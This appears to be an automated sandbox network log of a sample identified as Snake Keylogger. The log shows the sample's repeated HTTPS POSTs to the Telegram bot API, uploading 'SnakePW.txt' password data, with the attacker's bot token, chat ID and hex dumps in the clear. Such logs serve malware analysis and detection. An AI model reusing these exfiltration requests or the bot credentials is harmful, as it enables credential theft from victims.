{"ok":true,"result":{"message_id":66883,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228811,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.5	49977	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:32 UTC	209	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f444fb1e Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:32 UTC	209	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 34 34 34 66 62 31 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f444fb1eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:32 UTC	210	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:32 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:32 UTC	210	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66884,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228812,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.5	49978	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:32 UTC	211	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f480962d Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:32 UTC	211	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 34 38 30 39 36 32 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f480962dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:32 UTC	211	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:32 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:32 UTC	212	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66885,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228812,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.5	49979	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:32 UTC	212	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f4b76b89 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:32 UTC	213	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 34 62 37 36 62 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f4b76b89Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:33 UTC	213	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:33 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:33 UTC	213	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66886,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228813,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.5	49980	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:33 UTC	214	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f4f30770 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:33 UTC	214	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 34 66 33 30 37 37 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f4f30770Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:33 UTC	215	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:33 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:33 UTC	215	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66888,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228813,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.5	49982	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:33 UTC	216	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f529dd26 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:33 UTC	216	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 35 32 39 64 64 32 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f529dd26Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:33 UTC	216	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:33 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:33 UTC	217	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66889,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228813,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.5	49983	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:33 UTC	217	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f5657896 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:33 UTC	218	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 35 36 35 37 38 39 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f5657896Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:34 UTC	218	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:34 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:34 UTC	219	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 31 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66890,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228814,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49781	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:43 UTC	21	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d763a5be Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:43 UTC	22	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 37 36 33 61 35 62 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d763a5beContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:43 UTC	22	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:43 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:43 UTC	23	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 35 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66759,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228763,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.5	49984	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:34 UTC	219	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f59c4f71 Host: api.telegram.org Content-Length: 504
